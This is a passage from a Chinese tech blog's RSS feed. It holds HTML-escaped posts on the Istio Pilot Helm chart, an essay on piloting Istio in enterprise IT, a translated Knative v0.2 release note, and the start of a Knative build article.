</description>
    </item>
    
    <item>
      <title>Istio Helm Chart 详解 - Pilot</title>
      <link>/post/istio-helm-deep-dive-pilot/</link>
      <pubDate>Sun, 02 Dec 2018 15:44:38 +0800</pubDate>
      <guid>/post/istio-helm-deep-dive-pilot/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;Pilot 也是 Istio 的核心组件，负责以下任务：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;监听注册中心，例如 Kubernetes 中的服务信息变化。&lt;/li&gt;
&lt;li&gt;监听 Istio 的路由相关 CRD 资源。&lt;/li&gt;
&lt;li&gt;两项内容结合，生成 Envoy 可以理解的配置信息发送给 Envoy。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;values-yaml-中的全局变量&#34;&gt;values.yaml 中的全局变量&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  enabled: true
  replicaCount: 1
  autoscaleMin: 1
  autoscaleMax: 5
  image: pilot
  sidecar: true
  traceSampling: 1.0
  # Resources for a small pilot install
  resources:
    requests:
      cpu: 500m
      memory: 2048Mi
  env:
    PILOT_PUSH_THROTTLE_COUNT: 100
    GODEBUG: gctrace=2
  cpu:
    targetAverageUtilization: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;image&lt;/code&gt; 字段使用的镜像名为 &lt;code&gt;pilot&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;老生常谈的 HPA 部分和其他组件区别不大，实例数量的上限为 5。&lt;/p&gt;

&lt;p&gt;值得注意的是 Pilot 的资源设置，缺省 CPU 500m，内存 2G，比其它组件来说是比较大的。这里还特意注明，这是针对小负载情况的。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sidecar&lt;/code&gt; 参数看来可以启用或者关闭 Pilot 组件的 Sidecar 注入。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;traceSampling&lt;/code&gt;、&lt;code&gt;PILOT_PUSH_THROTTLE_COUNT&lt;/code&gt; 和 &lt;code&gt;GODEBUG&lt;/code&gt;，目测都是性能向的参数。可以在后面的 Chart 中进行求证。&lt;/p&gt;

&lt;h2 id=&#34;rbac-相关&#34;&gt;RBAC 相关&lt;/h2&gt;

&lt;p&gt;授权部分，Pilot 的 ServiceAccount 为：&lt;code&gt;istio-pilot-service-account&lt;/code&gt;，从 &lt;code&gt;clusterrole.yaml&lt;/code&gt; 可以看到较多门类的权限：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;权限&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;config.istio.io/*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Mixer 使用此配置对象将数据送入 Adapter。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rbac.istio.io/*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;只读&lt;/td&gt;
&lt;td&gt;RBAC 相关配置。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;networking.istio.io/*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;流量控制相关配置。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;authentication.istio.io&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;认证策略相关配置。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;apiextensions.k8s.io/customresourcedefinitions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Kubernetes CRD。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;extensions/thirdpartyresources&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Kubernetes TPR，1.8 以后已经弃用。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;extensions/thirdpartyresources.extensions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TPR 的扩展资源。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;extensions/ingresses&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Kubernetes Ingress 资源。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;configmaps&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;读写&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;endpoints&lt;/code&gt;, &lt;code&gt;pods&lt;/code&gt;, &lt;code&gt;services&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;get&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;, &lt;code&gt;watch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;namespaces&lt;/code&gt;, &lt;code&gt;nodes&lt;/code&gt;, &lt;code&gt;secrets&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;get&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;, &lt;code&gt;watch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;gateway-yaml&#34;&gt;gateway.yaml&lt;/h2&gt;

&lt;p&gt;这个文件中包含了三个 Gateway 对象，用于&lt;a href=&#34;https://istio.io/zh/docs/setup/kubernetes/mesh-expansion/&#34; target=&#34;_blank&#34;&gt;网格扩展功能&lt;/a&gt;。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;istio-autogenerated-k8s-ingress&lt;/code&gt;：在 80 端口提供 http 边缘监听服务。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;meshexpansion-gateway&lt;/code&gt;：用于 MeshExpanshion，如果启用了 &lt;code&gt;global.meshExpansion&lt;/code&gt;，则创建 Gateway，在边缘提供 15011 的 Pilot 访问，以及 8060 的 citadel 组件访问。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;meshexpansion-ilb-gateway&lt;/code&gt;：如果启用了 &lt;code&gt;global.meshExpansionILB&lt;/code&gt;，则创建该对象，在内部网关中公开 Pilot 和 Citadel 的端口。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;istio-autogenerated-k8s-ingress&lt;/code&gt; 对象其实是个 Bug，它使用了 &lt;code&gt;global.k8sIngressSelector&lt;/code&gt; 作为 Gateway 控制器，也就是说只有在 &lt;code&gt;global.ingress.enabled&lt;/code&gt; 为 True 的情况下才有可用的 Gateway 提供服务，这部分应该使用条件判断确定是否包含。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;meshexpansion-yaml&#34;&gt;meshexpansion.yaml&lt;/h2&gt;

&lt;p&gt;这个文件很明显也是用于网格扩展的。事实上这一文件和 &lt;code&gt;gateway.yaml&lt;/code&gt; 是一体的，今后可能会做合并。&lt;/p&gt;

&lt;p&gt;如果启用了 &lt;code&gt;global.meshExpansion&lt;/code&gt; 或者 &lt;code&gt;global.meshExpansionILB&lt;/code&gt;，会为 &lt;code&gt;gateway.yaml&lt;/code&gt; 中生成的 Gateway 创建 &lt;code&gt;VirtualService&lt;/code&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;meshexpansion-pilot&lt;/code&gt;：从边缘进入的 Pilot 请求，访问 &lt;code&gt;pilot.istio-system&lt;/code&gt; 主机时，如果端口为 15011，则指向 &lt;code&gt;istio-pilot.istio-system.svc.cluster.local&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ilb-meshexpansion-pilot&lt;/code&gt;：从内部网管进入的请求，访问主机为 &lt;code&gt;meshexpansionilb.istio-system&lt;/code&gt;，将 &lt;code&gt;15011&lt;/code&gt;、&lt;code&gt;15010&lt;/code&gt; 以及 &lt;code&gt;5353&lt;/code&gt; 端口分别转向到 &lt;code&gt;istio-pilot&lt;/code&gt; 明文端口、&lt;code&gt;istio-pilot&lt;/code&gt; mTLS 端口以及 DNS 服务的  53 端口。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;deployment-yaml&#34;&gt;deployment.yaml&lt;/h2&gt;

&lt;p&gt;主进程为 &lt;a href=&#34;https://istio.io/docs/reference/commands/pilot-discovery/&#34; target=&#34;_blank&#34;&gt;Pilot Discovery&lt;/a&gt;。注解部分要求不进行自动注入。&lt;/p&gt;

&lt;p&gt;除了 Chart 和 Release 之外，Pilot 的 Deployment 模板还引用了几个其它的全局变量。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;image&lt;/code&gt;：和其它核心组件类似，Pilot 中对 &lt;code&gt;image&lt;/code&gt; 的值如果包含了 &lt;code&gt;/&lt;/code&gt;，则会忽略 &lt;code&gt;hub&lt;/code&gt; 的内容，可以方便的替换为内网镜像。&lt;/li&gt;
&lt;li&gt;模板 &lt;code&gt;istio.configmap.checksum&lt;/code&gt;：来自 &lt;code&gt;templates/_helpers.tpl&lt;/code&gt;，Istio chart 中的 &lt;code&gt;/templates/configmap.yaml&lt;/code&gt; 文件的校验和。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.priorityClassName&lt;/code&gt;：&lt;a href=&#34;https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/#pod-priority&#34; target=&#34;_blank&#34;&gt;Pod 优先级&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.imagePullPolicy&lt;/code&gt;：镜像拉取策略。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.oneNamespace&lt;/code&gt;：如果启用了这一参数，则会在主进程参数中加入 &lt;code&gt;-a {{ .Release.Namespace }}&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sidecar&lt;/code&gt;：如果为 &lt;code&gt;True&lt;/code&gt;，会进行如下操作：

&lt;ul&gt;
&lt;li&gt;在 Pod 中注入 &lt;code&gt;istio-proxy&lt;/code&gt; 容器，这一容器会根据 &lt;code&gt;global.controlPlaneSecurityEnabled&lt;/code&gt; 设置，决定 &lt;code&gt;controlPlaneAuthPolicy&lt;/code&gt; 的值为 &lt;code&gt;MUTUAL_TLS&lt;/code&gt; 还是 &lt;code&gt;NONE&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;注入容器的资源设置来自于 &lt;code&gt;global.proxy.resources&lt;/code&gt; 或 &lt;code&gt;global.defaultResources&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sidecar&lt;/code&gt; 如果为 &lt;code&gt;False&lt;/code&gt;，会进行如下操作：

&lt;ul&gt;
&lt;li&gt;设置启动参数 &lt;code&gt;--secureGrpcAddr&lt;/code&gt; 为 &lt;code&gt;15011&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;开放容器端口 &lt;code&gt;15011&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;env&lt;/code&gt;：如果设置了 &lt;code&gt;key: value&lt;/code&gt; 类型的环境变量，此处会发送给 Pilot 进程。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;traceSampling&lt;/code&gt;：跟踪取样率，会被设置到 &lt;code&gt;PILOT_TRACE_SAMPLING&lt;/code&gt; 环境变量中。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nodeaffinity&lt;/code&gt; 模板：来自 &lt;code&gt;templates/_affinity.tpl&lt;/code&gt;，用于设置节点亲和性。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;service-yaml&#34;&gt;service.yaml&lt;/h2&gt;

&lt;p&gt;这里并无特殊设置，开放如下几个端口：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;15010：gRPC 的 xDS 端口&lt;/li&gt;
&lt;li&gt;15011：mTLS 的 xDS 端口&lt;/li&gt;
&lt;li&gt;8080：传统 http 端口&lt;/li&gt;
&lt;li&gt;9093：监控端口&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;对 Pilot 的资源设置较大，同时 1.0.0 之后屡次出现 Pilot 内存消耗巨大的 Issue，其中的跟踪采样、GC 调试以及 Sidecar 注入方面应该都还有挖掘的潜力。但是很可惜 Pilot 的环境变量并无文档，须待日后进一步完善。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>云原生世界中的隐形人如何拥抱 Istio</title>
      <link>/post/invisible-men-in-the-world-of-cloudnative/</link>
      <pubDate>Wed, 21 Nov 2018 14:39:50 +0800</pubDate>
      <guid>/post/invisible-men-in-the-world-of-cloudnative/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;一直想给我所从事的企业服务行业写点啥，又千头万绪不知从何说起。此次 KubeCon 上海一行，眼见 CNCF 高起朱楼大宴宾客，深受触动。企业服务这个巨大的“角落”，似乎已被遗忘。本文尝试给云原生时代的同学们讲讲这个似乎有点蒙昧的角落。也希望能给奋斗在企业服务项目中的朋友们一点启发。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;谁是隐形人&#34;&gt;谁是隐形人&lt;/h2&gt;

&lt;p&gt;身为一个企业服务部门的 IT 工人，在为甲方殚精竭虑的同时，经常有一种跟世界脱节的感觉：流量经济持续不断的冲刷之下，微服务、云原生等新的架构和概念如火如荼；大咖说、InfoQ 等各色机构的活动也是越来越多；新技术产品和新技术偶像层出不穷。云原生时代以来，更大的困扰出现了：漫山遍野的“免费”、“开源”技术，似乎难于学习、无力推进、更不要说做出贡献了。&lt;/p&gt;

&lt;p&gt;各种困境各种难，让这一人群成为了一种隐身的状态：大会的讲台上下、热门的书籍和公众号、开源社区的贡献和参与统统都和他们毫无瓜葛，似乎只剩下了偶尔出现的产业新闻和咨询案例，才能提供一个“可能还在做技术”的证明。隐形人的一些生存特点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;产品一般称为 “XXXX 管理系统”。&lt;/li&gt;
&lt;li&gt;在甲方自有数据中心或托管服务器上运行。&lt;/li&gt;
&lt;li&gt;硬件利用率不高，相对硬件规模来说，业务规模相当小。&lt;/li&gt;
&lt;li&gt;令出多头，一些工作内容可能需要多个公司/部门之间的配合。&lt;/li&gt;
&lt;li&gt;基础设施群之间，通常会采用传统的多分区、白名单系统来保证隔离。&lt;/li&gt;
&lt;li&gt;开发环境和生产环境之间经常会没有高速网络连接。&lt;/li&gt;
&lt;li&gt;上线活动需逐级审批、定时定点停服更新。&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在这种令人惶惑的情形之下，CNCF、微服务浪潮的出现更加剧了隐形人们的生存危机。尤其是台上大佬们大声疾呼——XX 产品那德行，不改还能用？这种时候，隐形人就更害怕了——我还没学会安装那！大佬们已经上手改了！还怎么活啊！&lt;/p&gt;

&lt;h2 id=&#34;几个问题&#34;&gt;几个问题&lt;/h2&gt;

&lt;h3 id=&#34;开源软件到底能不能用&#34;&gt;开源软件到底能不能用&lt;/h3&gt;

&lt;p&gt;首先要相信，世界上是很有些聪明人的。&lt;/p&gt;

&lt;p&gt;Apache 和 CNCF 都有严格的准入控制，对成熟度有明确的要求，同时热度够高的项目通常会吸引较多的高水平贡献者加入。高成熟度的系统。质量总体来说还是有一定保障的。&lt;/p&gt;

&lt;h3 id=&#34;大佬说不改就不能用是个什么情况&#34;&gt;大佬说不改就不能用是个什么情况&lt;/h3&gt;

&lt;p&gt;这通常是来自百度阿里京东蚂蚁等流量大厂的大佬们的呐喊，并不算是危言耸听。但是有个前提，就是国内几个巨头的流量和应用特点，都是属于极端情况。通常说来，并不会有哪个开源组织，有闲心又有能力，丧心病狂的做出能丢给几大厂一个直接可用适用的大系统。反过来说，经过大厂魔改的系统，很可能不再具备原有版本的普适性以及升级能力。作为透明人的 Istio 体验，应该遵循应用和 Istio 都无伤的做法。&lt;/p&gt;

&lt;h3 id=&#34;等前辈们踩过了坑我们再上会更稳妥&#34;&gt;等前辈们踩过了坑我们再上会更稳妥&lt;/h3&gt;

&lt;p&gt;这是个很不现实的想法，各家公司各个项目的情况千差万别，这些坑还是要自己踩的，多数情况下没人能够用微信帮你完成工作。&lt;/p&gt;

&lt;h3 id=&#34;生产应用-性能问题-解决了么&#34;&gt;生产应用/性能问题/..解决了么&lt;/h3&gt;

&lt;p&gt;其实这跟上一个问题是一体的，通常需要用户自行严格按照生产环境标准进行相应的测试。&lt;/p&gt;

&lt;p&gt;这里有一个前提，如果采用新的系统对现有系统的性能是有影响的，那么首先应该保证，技术团队有能力应对现有的业务负载，这样通过对新系统的学习，才能够有一个合适的技术基础。对一个服务进行容器化改造，不要希望它的容器化成功之后，立刻就出现十倍的性能提升。稳妥的方式是水平迁移稳定之后，才进一步的挖掘新技术的性能潜力。&lt;/p&gt;

&lt;h3 id=&#34;我们没有上-kubernetes&#34;&gt;我们没有上 Kubernetes&lt;/h3&gt;

&lt;p&gt;这一点上，我认为答案很简单，Istio 并不适合你。&lt;/p&gt;

&lt;h2 id=&#34;istio-的试点&#34;&gt;Istio 的试点&lt;/h2&gt;

&lt;p&gt;这两天学习了小剑同学在上海 ServiceMesh Meetup 上的演讲，在仰望蚁人们在面临棘手情况时展露出来的强大实力的同时，也有一些窃喜——在我们隐形人的隐形系统中，可没这么多麻烦。我们只求在原装系统的支持下，获得其有限的好处。&lt;/p&gt;

&lt;h3 id=&#34;为什么采用-istio&#34;&gt;为什么采用 Istio&lt;/h3&gt;

&lt;p&gt;首先要判断的是，这一系统对我们来说有什么好处，除了官方各种宣传之外，可能还会有一些边际效应，例如采用新系统带来的光环、声明式操作提高了对环境和配置的控制能力等。Istio 的官宣好处非常之多，然而按照开源系统通常的晚熟状况，我们可以仅挑选一些对我们促进最大的亮点来进行验证和测试，对于一些难于掌握的复杂特性或不稳定特性，可以徐徐图之——或者叫眼不见为净。&lt;/p&gt;

&lt;p&gt;而存量应用经常会比较落后于时代，经过各种补丁和重构，以及或真或假的微服务改造之后，往往会变成杂乱不堪的应用丛林；经过 Kubernetes 迁移之后，得益于 K8S 的支持，具备了容器调度、服务注册和发现、初步的配置管理等能力。&lt;/p&gt;

&lt;h4 id=&#34;服务监控和跟踪-高性价比-推荐&#34;&gt;服务监控和跟踪（高性价比，推荐）&lt;/h4&gt;

&lt;p&gt;现存应用的监控和跟踪通常都是比较欠缺的，Istio 能轻松的为应用注入这两种能力，熟悉 Istio 的用户可能会质疑，分布式跟踪还是要求对代码做出一定改动的，本着能不动就不动的原则，仅获取一对一调用的跟踪信息，也是一个巨大的进步。在这一功能的基础上形成的统一 Dashboard 对存量应用的增值会有非常大的帮助。&lt;/p&gt;

&lt;h4 id=&#34;流量控制-高性价比-推荐&#34;&gt;流量控制（高性价比，推荐）&lt;/h4&gt;

&lt;p&gt;这是 Istio 的核心功能，应该也是使用率最高的功能，这一功能有效的增强了基于 K8S 的应用支撑，对存量应用的通信控制大幅增强。并且在新应用的开发中，可以协助架构师将部分通信细节延后到部署和运维阶段来实现，也降低了新应用的开发难度。流量控制能力中的超时和重发等小功能，都能很好的提高存量应用的健壮性；而路由部分还为现有应用提供了金丝雀发布和蓝绿部署之类的新能力。&lt;/p&gt;

&lt;h4 id=&#34;边缘通信-刚需可用&#34;&gt;边缘通信（刚需可用）&lt;/h4&gt;

&lt;p&gt;这部分的功能通常会使用硬件负载均衡和其它相关的基础设施来实现，因此可以暂不考虑。&lt;/p&gt;

&lt;h4 id=&#34;mtls-和访问控制-刚需可用&#34;&gt;mTLS 和访问控制（刚需可用）&lt;/h4&gt;

&lt;p&gt;这部分功能在我们的情况中较少遇到，内网中的服务经常是无需访问控制和加密的，因此仅在存在刚需时候可以尝试使用。&lt;/p&gt;

&lt;h4 id=&#34;限流等其它-mixer-功能-慎用&#34;&gt;限流等其它 Mixer 功能（慎用）&lt;/h4&gt;

&lt;p&gt;Mixer 是 Istio 中比较遭人诟病的一个组件，强大但是难于驾驭，并且具体实现又依赖于各个 Adapter，因此这部分功能建议押后采纳。&lt;/p&gt;

&lt;h3 id=&#34;试点服务的选择&#34;&gt;试点服务的选择&lt;/h3&gt;

&lt;p&gt;Sidecar 注入导致的延迟是众所周知的，因此我们会选择调用链条较短、延迟不很敏感的应用来进行试点。&lt;/p&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;h3 id=&#34;环境准备&#34;&gt;环境准备&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;检查 Kubernetes 版本是否符合要求。&lt;/li&gt;
&lt;li&gt;检查试点应用的 Service 是否符合注入要求。&lt;/li&gt;
&lt;li&gt;为试点应用在负载均衡或其它类似基础设施上做好切换准备，防止故障无法恢复。&lt;/li&gt;
&lt;li&gt;获取 Istio 镜像文件并上传到私库。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;安装-istio&#34;&gt;安装 Istio&lt;/h3&gt;

&lt;p&gt;根据选择功能，对 Istio 的 &lt;code&gt;values.yaml&lt;/code&gt; 进行定制，因为是局部试点，不建议使用自动注入方式。另外原始设置中对资源的配置比较谨慎，这里建议适当放大。最后是对于镜像库等的地址进行设置。&lt;/p&gt;

&lt;p&gt;备份 &lt;code&gt;values.yaml&lt;/code&gt; 并部署 Istio，根据实际情况为 Dashboard 等管理功能设置 &lt;code&gt;Ingress&lt;/code&gt;/&lt;code&gt;NodePort&lt;/code&gt; 等开放方式。&lt;/p&gt;

&lt;h3 id=&#34;应用部署&#34;&gt;应用部署&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;加大试点应用的 Deployment 中的实例数量，降低 Istio 开销造成的损耗。&lt;/li&gt;
&lt;li&gt;为试点应用编写缺省路由和目标规则。和 Kubernetes 资源等同样纳入交付物的版本管理中。&lt;/li&gt;
&lt;li&gt;如果使用的是 CI/CD，建议在其中加入注入环节。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;部署完成之后，应该进行功能、压力、疲劳等一系列测试，来完成验证。&lt;/p&gt;

&lt;h3 id=&#34;应用上线&#34;&gt;应用上线&lt;/h3&gt;

&lt;p&gt;负载均衡进行切换，将 Istio 转入生产服务。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;以上步骤执行下来，最终我们用较小的代价，换来较大的系统改观，让传统应用像服务网格一样的运行了起来。另外在系统负载较低的情况下，Istio 的稳定性还是比较有保障的。最终，我们也保留了随时回滚的能力。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Knative v0.2 发布</title>
      <link>/post/announcing-knative-v0.2-release/</link>
      <pubDate>Thu, 15 Nov 2018 00:40:06 +0800</pubDate>
      <guid>/post/announcing-knative-v0.2-release/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://medium.com/knative/https-medium-com-knative-v0-2-963f276af58e&#34; target=&#34;_blank&#34;&gt;Announcing Knative v0.2 Release&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://medium.com/@mchmarny_google&#34; target=&#34;_blank&#34;&gt;Mark Chmarny&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;增强的插接能力、自动伸缩、稳定性和性能。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Knative 是一组用于在 Kubernetes 上构建现代应用的一组中间件组件，在此宣布，0.2 版本已经面世。从七月份该项目启动至今，0.2 版本是第一次显著更新。这次更新是整个 Knative 社区的几个月里的努力成果，体现了我们从日益增多的 Knative 部署数量中学到的新知识。&lt;/p&gt;

&lt;p&gt;0.2 版本中最令人激动的更新就是包含了 &lt;code&gt;eventing&lt;/code&gt;。Eventing 组件补充了另外两大组件：Build 和 Serving 留下的空白。我们希望社区会使用这一新功能来开发新的事件和解决方案。&lt;/p&gt;

&lt;p&gt;Serving 组件的内部实现做出了很大改进，新的内部 API 将 Knative 划分为了子系统，从而加入了对可插接网络、自动伸缩以及缓存的支持。&lt;/p&gt;

&lt;p&gt;完整的发布说明可以在 &lt;a href=&#34;https://github.com/knative/serving/releases/tag/v0.2.1&#34; target=&#34;_blank&#34;&gt;Serving&lt;/a&gt;、&lt;a href=&#34;https://github.com/knative/build/releases/tag/v0.2.0&#34; target=&#34;_blank&#34;&gt;Build&lt;/a&gt; 和 &lt;a href=&#34;https://github.com/knative/eventing/releases/tag/v0.2.0&#34; target=&#34;_blank&#34;&gt;Eventing&lt;/a&gt; 仓库中找到。下面着重说一下其中的亮点：&lt;/p&gt;

&lt;h2 id=&#34;新的事件资源模型&#34;&gt;新的事件资源模型&lt;/h2&gt;

&lt;p&gt;Eventing 在资源模型方面发生了很大变化，将源码融入 CRD 之中。Eventing 现已采用 Kubernetes 的表尊概念，这样一来就可以更好的实现校验、清晰的接口以及 RBAC 支持。新架构使用了以 Channel 和订阅为中心的简化的对象模型。&lt;/p&gt;

&lt;h2 id=&#34;松耦合&#34;&gt;松耦合&lt;/h2&gt;

&lt;p&gt;在 v0.1 期间我们收到的正面评价之一就是在定义 Knative 组件安装时候的选择能力。v0.2 中 Knative 增强了这种能力，操作者可以独立安装 Build、Serving 以及 Eventing 组件。Knative 组件之间的松耦合使得第三方集成成为了可能，例如使用一个非 Knative 的 Build 来和 Serving 进行配合，或者用 Eventing 把事件分发给非 Serving 的部署。我们很高兴社区选择了这一方向。&lt;/p&gt;

&lt;h2 id=&#34;可插接的子系统&#34;&gt;可插接的子系统&lt;/h2&gt;

&lt;p&gt;我们还接到了很多希望能够定制 Knative 的反馈。目标就是支持某种程度的插接能力，所以 v0.2 中定制能力也有了显著提高。我们加入了三个新的内部 API，来把我们的核心资源模型从实现模块中分离出来：网络、自动伸缩和缓存。网络让开发人员可以用不同的 Ingress 实现来替代我们的 Istio 依赖。自动伸缩让开发人员能够把我们的自动伸缩机制替换为自己的方案。缓存让开发人员可以使用镜像缓存策略来在集群中进行镜像的提前载入（这是一个纯粹的扩展点，并没有内置绑定方案）。&lt;/p&gt;

&lt;h2 id=&#34;冷启动改进&#34;&gt;冷启动改进&lt;/h2&gt;

&lt;p&gt;决定冷启动性能的两个决定因素就是 Sidecar 注入和镜像拉取造成的延时。Istio 的 1.0.2 版本中在减少 Envoy 编程时间方面有了进步。另外我们还允许安装无 Sidecar 注入的 Knative。为了帮助用户降低镜像拉取延迟，我们开放了新的扩展点，称为 &amp;ldquo;Image&amp;rdquo; 资源（knative/caching 的一部分），其中包含了一个预载入镜像控制器所需要的所有信息。社区对缓存组件的建设让我们非常激动。&lt;/p&gt;

&lt;h2 id=&#34;自动伸缩&#34;&gt;自动伸缩&lt;/h2&gt;

&lt;p&gt;以前的自动伸缩器是每个版本一个，现在替换为单一的共享控制器。新的自动伸缩器和之前的版本具备同样的逻辑，但是进化到纯粹的指标驱动（包含 0-&amp;gt;1-&amp;gt;0），去掉了无用的 Revision servingState 字段。我们用一个整数 &lt;code&gt;ContainerConcurrency&lt;/code&gt; 字段替换了 &lt;code&gt;ConcurrencyModel&lt;/code&gt;。这样在一些情况下就可以限制并行数量为 1 以外的数值（例如限制线程池）。&lt;/p&gt;

&lt;h2 id=&#34;build&#34;&gt;Build&lt;/h2&gt;

&lt;p&gt;Knative Build 做了很多增强，包括新的 &lt;code&gt;ClusterBuildTemplate&lt;/code&gt; 资源。用户可以一次性安装一组 &lt;code&gt;BuildTemplates&lt;/code&gt;，而不是每个命名空间一次。Build 模板参数可以对构建步骤所用的镜像名称进行设置。Build Spec 的新功能包括用户可以指定 Build 一级的超时、节点选择器以及亲和性。另外 Build 状态得到了扩展，会报告每个步骤和 Build 的等候时间。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Knative 中进行应用程序的构建和部署</title>
      <link>/post/building-and-deploying-applications-to-knative/</link>
      <pubDate>Tue, 13 Nov 2018 00:10:38 +0800</pubDate>
      <guid>/post/building-and-deploying-applications-to-knative/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://starkandwayne.com/blog/building-and-deploying-applications-to-knative/&#34; target=&#34;_blank&#34;&gt;Building and deploying applications to Knative&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/starkandwayne&#34; target=&#34;_blank&#34;&gt;Dr Nic Williams&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Knative 有三个高级子系统：Serving 用来协调服务 Pod 的自动伸缩以及路由；Build 提供了将代码转换为镜像的工具链；Eventing 则会使用事件的发布订阅来触发松耦合服务。&lt;/p&gt;

&lt;p&gt;前一篇文章中我们将一个构件好的容器镜像发布到了 Knative Serving 中。&lt;/p&gt;

